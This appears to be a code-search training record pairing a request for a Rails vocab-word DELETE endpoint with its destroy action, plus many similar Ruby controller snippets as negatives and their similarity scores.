"def update\n @emotional_word = EmotionalWord.find(params[:id])\n\n respond_to do |format|\n if @emotional_word.update_attributes(params[:emotional_word])\n format.html { redirect_to(@emotional_word, :notice => 'Emotional word was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @emotional_word.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @secretary = Secretary.find(params[:id])\n @user = current_user\n @secretary.user_id = @user.id\n @secretary.main_flag = params[:secretary][:main_flag]\n respond_to do |format|\n if @secretary.update_attributes_and_update_word(params[:secretary])\n format.html { redirect_to(@secretary, :notice => 'Secretary was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @secretary.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ojibwe_word.update(ojibwe_word_params)\n format.html { redirect_to @ojibwe_word, notice: 'Ojibwe word was successfully updated.' }\n format.json { render :show, status: :ok, location: @ojibwe_word }\n else\n format.html { render :edit }\n format.json { render json: @ojibwe_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @embedding_vectors = args[:embedding_vectors] if args.key?(:embedding_vectors)\n end",
"def update\n respond_to do |format|\n if @technical_word.update(technical_word_params)\n format.html { redirect_to @technical_word, notice: 'Technical word was successfully updated.' }\n format.json { render :show, status: :ok, location: @technical_word }\n else\n format.html { render :edit }\n format.json { render json: @technical_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word_praat.update(word_praat_params)\n format.html { redirect_to @word_praat, notice: 'Word praat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @word_praat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vocab = Vocab.new(vocab_params)\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to @vocab, notice: \"Vocab was successfully created.\" }\n format.json { render :show, status: :created, location: @vocab }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @meaning.update_attributes(params[:meaning])\n format.html { redirect_to @meaning.word, notice: 'Meaning was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meaning.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:text, :meanings_attributes => [:id, :text, :word_id, :category_id, :_destroy], :synonymous_attributes => [:id, :word_2_id, :_destroy])\n end",
"def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\t\n end",
"def word_params\n params.require(:word).permit(:word, :hiragana, \n :reading, :part_of_speech, :word_list_id,\n :note, :synonyms, :antonyms, :priority,\n :translations_attributes => [:id, :translation, \n :language, :_destroy],\n :tag_attributes => [:id, :tag],\n :syn_attributes => [:id, :synonym],\n :ant_attributes => [:id, :antonym],)\n end",
"def update\n @stopword_list = StopwordList.find(params[:id])\n\n respond_to do |format|\n if @stopword_list.update_attributes(params[:stopword_list])\n format.html { redirect_to @stopword_list, notice: 'Stopword list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stopword_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_list_params\n params.require(:word_list).permit(:title, :course_id,\n :embedded_words_attributes => [:id, :word, :hiragana, :reading, :note, :_destroy,\n :translations_attributes => [:id, :translation, :language, :_destroy]])\n end",
"def update\n @word_note = WordNote.find(params[:id])\n\n respond_to do |format|\n if @word_note.update_attributes(params[:word_note])\n format.html { redirect_to @word_note, notice: 'Word note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spanish_word.update(spanish_word_params)\n format.html { redirect_to @spanish_word, notice: 'Spanish word was successfully updated.' }\n format.json { render :show, status: :ok, location: @spanish_word }\n else\n format.html { render :edit }\n format.json { render json: @spanish_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit!\n end",
"def update\n @keyword = Keyword.find(params[:id])\n\n respond_to do |format|\n if @keyword.update_attributes(params[:keyword])\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:complete_word).permit(words: [:id, :word_word, :meaning_word, :image_word, :etymos_version_word])\n end",
"def update\n respond_to do |format|\n if @reg_word.update(reg_word_params)\n format.html { redirect_to @reg_word, notice: 'Reg word was successfully updated.' }\n format.json { render :show, status: :ok, location: @reg_word }\n else\n format.html { render :edit }\n format.json { render json: @reg_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:text)\n end",
"def update\n respond_to do |format|\n if @ontology.update(ontology_params)\n format.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n format.json { render :show, status: :ok, location: @ontology }\n else\n format.html { render :edit }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @text_embedding = args[:text_embedding] if args.key?(:text_embedding)\n end",
"def update\n if @ok\n @word = params[:word].blank? ? nil : params[:word]\n @document.title = params[:title]\n @document.description = params[:description]\n if !@document.save\n @errors = convert_document_error_messages @document.errors\n end\n end\n end",
"def update_comment_on_word(word, body, *args)\n http_method = :put\n path = '/word/{word}/comment'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def update\n @knowledge = Knowledge.find(params[:id])\n\n respond_to do |format|\n if @knowledge.update_attributes(params[:knowledge])\n format.html { redirect_to @knowledge, notice: 'Knowledge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @knowledge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @remembered_word.update(remembered_word_params)\n format.html { redirect_to @remembered_word, notice: 'Remembered word was successfully updated.' }\n format.json { render :show, status: :ok, location: @remembered_word }\n else\n format.html { render :edit }\n format.json { render json: @remembered_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug \"-----create-----\"\n @vocab_word = VocabWord.new(vocab_word_params)\n logger.debug \"-----before do-----\"\n logger.debug \"---\" + vocab_word_params.to_s\n respond_to do |format|\n if @vocab_word.save\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully created.' }\n format.json { render :show, status: :created, location: @vocab_word }\n else\n format.html { render :new }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n word = Word.find(params[:id])\n word.gender = params[:gender]\n if word.save\n head :ok\n end\n end",
"def update\n @blacklist_word = BlacklistWord.find(params[:id])\n\n respond_to do |format|\n if @blacklist_word.update_attributes(params[:blacklist_word])\n format.html { redirect_to @blacklist_word, notice: 'Blacklist word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @blacklist_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @term = Term.find(params[:id])\n\n respond_to do |format|\n if @term.update_attributes(params[:term])\n format.html { redirect_to(@term, :notice => 'Term was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @term.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @term = Term.find(params[:id])\n\n respond_to do |format|\n if @term.update_attributes(params[:term])\n format.html { redirect_to(@term, :notice => 'Term was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @term.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @term = Term.find(params[:id])\n\n respond_to do |format|\n if @term.update_attributes(params[:term])\n flash[:notice] = 'Term was successfully updated.'\n format.html { redirect_to(terms_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @term.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @word_list = current_user.word_list\n\n #need to first remove categories from the word\n @word.categories.each do |category|\n @word.categories.delete category\n end\n\n #then push categories in from the category_params\n if params[\"category\"].include?(:category_ids)\n (params[\"category\"])[\"category_ids\"].each do |i|\n next if i.to_i == 0\n @word.categories << Category.find(i.to_i) unless @word.categories.include?(Category.find(i.to_i))\n end\n end\n\n if category_params.include?(:title) && ((params[\"category\"])[\"title\"]) != \"\"\n @word.categories << @word_list.categories.build(title: (params[\"category\"])[\"title\"])\n end\n\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word_list, notice: 'Word was successfully updated.' }\n #format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n #format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(\n :word_class,\n :lexical_form,\n :translation\n ).merge(dictionary_id: @dictionary.id)\n end",
"def update\n respond_to do |format|\n if @wordclass.update(wordclass_params)\n format.html { redirect_to @wordclass, notice: 'Wordclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @wordclass }\n else\n format.html { render :edit }\n format.json { render json: @wordclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def controlled_vocabulary_params\n params.require(:controlled_vocabulary).permit(:string_key, :display_label, :require_controlled_vocabulary_manager_permission)\n end"
] |
[
"0.7512258",
"0.73817486",
"0.71767724",
"0.6978025",
"0.6967143",
"0.6788993",
"0.67834914",
"0.66867137",
"0.6663082",
"0.6663082",
"0.6663082",
"0.6663082",
"0.66244763",
"0.6617048",
"0.659911",
"0.6586325",
"0.65775645",
"0.65340495",
"0.65164196",
"0.64963764",
"0.6477092",
"0.6465553",
"0.6456582",
"0.64520043",
"0.6399926",
"0.6395598",
"0.6395049",
"0.6395049",
"0.6395049",
"0.6395049",
"0.6395049",
"0.6369723",
"0.63497937",
"0.63442284",
"0.63431615",
"0.63409436",
"0.6328026",
"0.63238287",
"0.63232756",
"0.62461793",
"0.6243662",
"0.62287426",
"0.62167144",
"0.61590946",
"0.61480176",
"0.6058889",
"0.60241884",
"0.60106313",
"0.5977111",
"0.5971621",
"0.59712166",
"0.5953478",
"0.5952438",
"0.59460044",
"0.59439987",
"0.5929964",
"0.59288824",
"0.5925793",
"0.5917264",
"0.5914849",
"0.591418",
"0.589701",
"0.58948416",
"0.5892495",
"0.58894396",
"0.58676195",
"0.5862731",
"0.58415353",
"0.58313334",
"0.58130217",
"0.5807106",
"0.58069915",
"0.58068055",
"0.58051735",
"0.5798635",
"0.5791713",
"0.5782338",
"0.5766685",
"0.57598925",
"0.5741769",
"0.57416505",
"0.57290554",
"0.572705",
"0.57151705",
"0.57141155",
"0.57134247",
"0.57056785",
"0.5702947",
"0.5688607",
"0.56855047",
"0.5682994",
"0.5682952",
"0.5678072",
"0.5666271",
"0.56655085",
"0.56611013",
"0.56358254",
"0.56308764",
"0.5627252",
"0.56211853"
] |
0.776472
|
0
|
DELETE /vocab_words/1 DELETE /vocab_words/1.json
|
def destroy
@vocab_word.destroy
respond_to do |format|
format.html { redirect_to vocab_words_url, notice: 'Vocab word was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @vocab = Vocab.find(params[:id])\n @vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocabs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @spanish_vocab = SpanishVocab.find(params[:id])\n @spanish_vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to spanish_vocabs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vocab.destroy\n respond_to do |format|\n format.html { redirect_to vocabs_url, notice: \"Vocab was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_list_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vocabulaire.destroy\n respond_to do |format|\n format.html { redirect_to vocabulaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controlled_vocabulary.destroy\n respond_to do |format|\n format.html { redirect_to controlled_vocabularies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vocabulary.destroy\n respond_to do |format|\n format.html { redirect_to vocabularies_url, notice: 'Vocabulary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vocabtype = Vocabtype.find(params[:id])\n @vocabtype.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocabtypes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n check_access\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @frequency_vocabulary.destroy\n respond_to do |format|\n format.html { redirect_to frequency_vocabularies_url, notice: 'Frequency vocabulary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n @lsa_training_unique_word.destroy\n\n respond_to do |format|\n format.html { redirect_to lsa_training_unique_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @key_word_set = KeyWordSet.find(params[:id])\n @key_word_set.destroy\n\n respond_to do |format|\n format.html { redirect_to key_word_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word = Word.find(params[:id])\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word = Word.find(params[:id])\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word = Word.find(params[:id])\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word = Word.find(params[:id])\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word = Word.find(params[:id])\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @key_word = KeyWord.find(params[:id])\n @key_word.destroy\n\n respond_to do |format|\n format.html { redirect_to key_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dictionary = Dictionary.find(params[:id])\n @dictionary.destroy\n\n respond_to do |format|\n format.html { redirect_to dictionaries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vocabulary_term.destroy\n respond_to do |format|\n format.html { redirect_to vocabulary_terms_url, notice: 'Vocabulary term was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word = Word.find(params[:id])\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to(words_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n UriService.client.delete_term(@term['uri'])\n respond_to do |format|\n format.html { redirect_to terms_controlled_vocabulary_path(@controlled_vocabulary), notice: 'Term has been deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n word = @meaning.word\n @meaning.destroy\n\n respond_to do |format|\n format.html { redirect_to word }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serach_word = SerachWord.find(params[:id])\n @serach_word.destroy\n\n respond_to do |format|\n format.html { redirect_to serach_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lsa_test_word = LsaTestWord.find(params[:id])\n @lsa_test_word.destroy\n\n respond_to do |format|\n format.html { redirect_to lsa_test_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secret_word = SecretWord.find(params[:id])\n @secret_word.destroy\n\n respond_to do |format|\n format.html { redirect_to secret_words_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @word_set.destroy\n respond_to do |format|\n format.html { redirect_to browse_path, warning: \"Word set deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word_list = WordList.find(params[:id])\n @word_list.destroy\n\n respond_to do |format|\n format.html { redirect_to word_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word_praat.destroy\n respond_to do |format|\n format.html { redirect_to word_praats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ontology.destroy\n respond_to do |format|\n format.html { redirect_to ontologies_url, notice: 'Ontology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @learnwordlist.destroy\n respond_to do |format|\n format.html { redirect_to learnwordlists_url, notice: 'Learnwordlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to words_url, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dictionary.destroy\n respond_to do |format|\n format.html { redirect_to user_language_dictionaries_url, notice: 'Dictionary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @glossary = Glossary.find(params[:id])\n @glossary.destroy\n\n respond_to do |format|\n format.html { redirect_to glossaries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word_count = WordCount.find(params[:id])\n @word_count.destroy\n\n respond_to do |format|\n format.html { redirect_to word_counts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @ontology = SYMPH::Ontology.find(params[:id])\n @ontology.disable\n @ontology.destroy\n \n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n end\n end",
"def destroy\n @go_term = GoTerm.find(params[:id])\n @go_term.destroy\n\n respond_to do |format|\n format.html { redirect_to go_terms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @corpus = Corpus.find(params[:id])\n @corpus.destroy\n\n respond_to do |format|\n format.html { redirect_to corpora_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @voc = Voc.find(params[:id])\n @voc.destroy\n\n respond_to do |format|\n format.html { redirect_to vocs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @glossary = Glossary.find(params[:id])\n @glossary.destroy\n\n respond_to do |format|\n format.html { redirect_to glossaries_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @words_page = WordsPage.find(params[:id])\n @words_page.destroy\n\n respond_to do |format|\n format.html { redirect_to words_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dictionary.destroy\n respond_to do |format|\n format.html {redirect_to dictionaries_url, notice: 'Dictionary was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n\t\tFile.delete(@ontology.url)\n\t\t@ontology.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to ontologies_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @word_history = WordHistory.find(params[:id])\n @word_history.destroy\n\n respond_to do |format|\n format.html { redirect_to word_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to sentences_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @headword = Headword.find(params[:id])\n @headword.destroy\n\n respond_to do |format|\n format.html { redirect_to(headwords_url) }\n format.xml { head :ok }\n end\n end",
"def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end",
"def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end",
"def destroy\n @dictionary.destroy\n redirect_to admin_dictionaries_url, notice: 'Successfully destroyed dictionary.'\n end",
"def destroy\n @remembered_word.destroy\n respond_to do |format|\n format.html { redirect_to '/mydict', notice: 'Remembered word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wordlist = Wordlist.find(params[:id])\n @wordlist.destroy\n\n respond_to do |format|\n format.html { redirect_to(wordlists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dictionary_scope = DictionaryScope.find(params[:id])\n @dictionary_scope.destroy\n\n respond_to do |format|\n format.html { redirect_to(dictionary_scopes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @paper_word = PaperWord.find(params[:id])\n @paper_word.destroy\n\n respond_to do |format|\n format.html { redirect_to paper_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flagged_word = FlaggedWord.find(params[:id])\n @flagged_word.destroy\n\n respond_to do |format|\n format.html { redirect_to flagged_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ojibwe_word.destroy\n respond_to do |format|\n format.html { redirect_to ojibwe_words_url, notice: 'Ojibwe word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word_list.destroy\n respond_to do |format|\n format.html { redirect_to word_lists_url, notice: 'Word list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @glossary.destroy\n respond_to do |format|\n format.html { redirect_to glossaries_url, notice: 'Glossary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @word.destroy\n end",
"def destroy\n @filtered_word = FilteredWord.find(params[:id])\n @filtered_word.destroy\n\n respond_to do |format|\n format.html { redirect_to filtered_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spanish_word.destroy\n respond_to do |format|\n format.html { redirect_to spanish_words_url, notice: 'Spanish word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ms_word.destroy\n respond_to do |format|\n format.html { redirect_to ms_words_url, notice: 'Ms word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @emotional_word = EmotionalWord.find(params[:id])\n @emotional_word.destroy\n\n respond_to do |format|\n format.html { redirect_to(emotional_words_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @new_word.destroy\n respond_to do |format|\n format.html { redirect_to new_words_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n dictionary = @definition.dictionary\n @definition.destroy\n respond_to do |format|\n format.html { redirect_to dictionary_url(dictionary.id), notice: 'Definition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n institution = @vocabulary.institution\n begin\n @vocabulary.destroy!\n rescue => e\n flash['error'] = \"#{e}\"\n else\n toast!(title: \"Vocabulary deleted\",\n message: \"The vocabulary \\\"#{@vocabulary.name}\\\" has been deleted.\")\n ensure\n if current_user.sysadmin?\n redirect_to institution_path(institution)\n else\n redirect_to vocabularies_path\n end\n end\n end",
"def destroy\n @key_indicate_dictionary.destroy\n respond_to do |format|\n format.html { redirect_to key_indicate_dictionaries_url, notice: 'Dictionary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize_action_for @glossary\n @glossary.destroy\n respond_to do |format|\n format.html { redirect_to glossaries_url, notice: 'Glossary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @technical_word.destroy\n respond_to do |format|\n format.html { redirect_to technical_words_url, notice: 'Technical word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advocacy = Advocacy.find(params[:id])\n @advocacy.destroy\n\n respond_to do |format|\n format.html { redirect_to advocacies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @keyword = Keyword.find(params[:id])\n @keyword.destroy\n\n respond_to do |format|\n format.html { redirect_to keywords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reg_word.destroy\n respond_to do |format|\n format.html { redirect_to reg_words_url, notice: 'Reg word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_noun = Api::Noun.find(params[:id])\n @api_noun.destroy\n\n respond_to do |format|\n format.html { redirect_to api_nouns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wordbank.destroy\n respond_to do |format|\n format.html { redirect_to wordbanks_url, notice: 'Word of the Day was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @result_word = ResultWord.find(params[:id])\n @result_word.destroy\n\n respond_to do |format|\n format.html { redirect_to result_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @corpus_positive = CorpusPositive.find(params[:id])\n @corpus_positive.destroy\n\n respond_to do |format|\n format.html { redirect_to corpus_positives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @noun.destroy\n\n respond_to do |format|\n format.html { redirect_to nouns_url }\n # format.json { head :no_content }\n end\n end",
"def destroy\n @objective_textual.destroy\n respond_to do |format|\n format.html { redirect_to objective_textuals_url, notice: 'Objective textual was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @concept = Concept.find(params[:id])\n @concept.destroy\n\n respond_to do |format|\n format.html { redirect_to concepts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @concept = Concept.find(params[:id])\n @concept.destroy\n\n respond_to do |format|\n format.html { redirect_to concepts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cancerword = Cancerword.find(params[:id])\n @cancerword.destroy\n\n respond_to do |format|\n format.html { redirect_to(cancerwords_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @learn = Learn.find(params[:id])\n @learn.destroy\n\n respond_to do |format|\n format.html { redirect_to learns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @enword = Enword.find(params[:id])\n @enword.destroy\n respond_to do |format|\n format.html { redirect_to(:back) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @word_list = current_user.word_list\n\n @word.categories.each do |category|\n category.destroy unless ( @word_list.words.joins(:categories).where(categories: {id: category.id}).count ) > 1\n end\n\n @word.destroy\n\n respond_to do |format|\n format.html { redirect_to @word_list, notice: 'Word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @intelligence = Intelligence.find(params[:id])\n @intelligence.destroy\n\n respond_to do |format|\n format.html { redirect_to(intelligences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fiction = Fiction.find(params[:id])\n @fiction.destroy\n\n respond_to do |format|\n format.html { redirect_to fiction_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typerelsequence.destroy\n respond_to do |format|\n format.html { redirect_to typerelsequences_url, notice: 'Typerelsequence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @noun = Noun.find(params[:id])\n @noun.destroy\n\n respond_to do |format|\n format.html { redirect_to(nouns_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def destroy\n @dict.destroy\n end",
"def destroy\n @tutorial_quest = Tutorial::Quest.find(params[:id])\n @tutorial_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_quests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @go_term_enrichment = GoTermEnrichment.find(params[:id])\n @go_term_enrichment.destroy\n\n respond_to do |format|\n format.html { redirect_to go_term_enrichments_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7855895",
"0.77942723",
"0.77530044",
"0.76281035",
"0.7529423",
"0.7412873",
"0.72109514",
"0.714293",
"0.7027356",
"0.6936333",
"0.686022",
"0.68407667",
"0.6831672",
"0.6831672",
"0.6831672",
"0.6831672",
"0.6831672",
"0.6811018",
"0.67788315",
"0.67589533",
"0.6712174",
"0.6648824",
"0.6645275",
"0.6629928",
"0.6619482",
"0.6597669",
"0.65945846",
"0.6573336",
"0.65583354",
"0.6557249",
"0.6507352",
"0.648425",
"0.648424",
"0.6482048",
"0.648175",
"0.648175",
"0.648175",
"0.648175",
"0.648175",
"0.6477267",
"0.6470633",
"0.6470187",
"0.64606166",
"0.6446399",
"0.64245546",
"0.64233863",
"0.6412523",
"0.640499",
"0.6394139",
"0.63907635",
"0.63897324",
"0.63862956",
"0.6371749",
"0.63658017",
"0.63658017",
"0.63649935",
"0.6361036",
"0.6342123",
"0.6328687",
"0.632443",
"0.6324032",
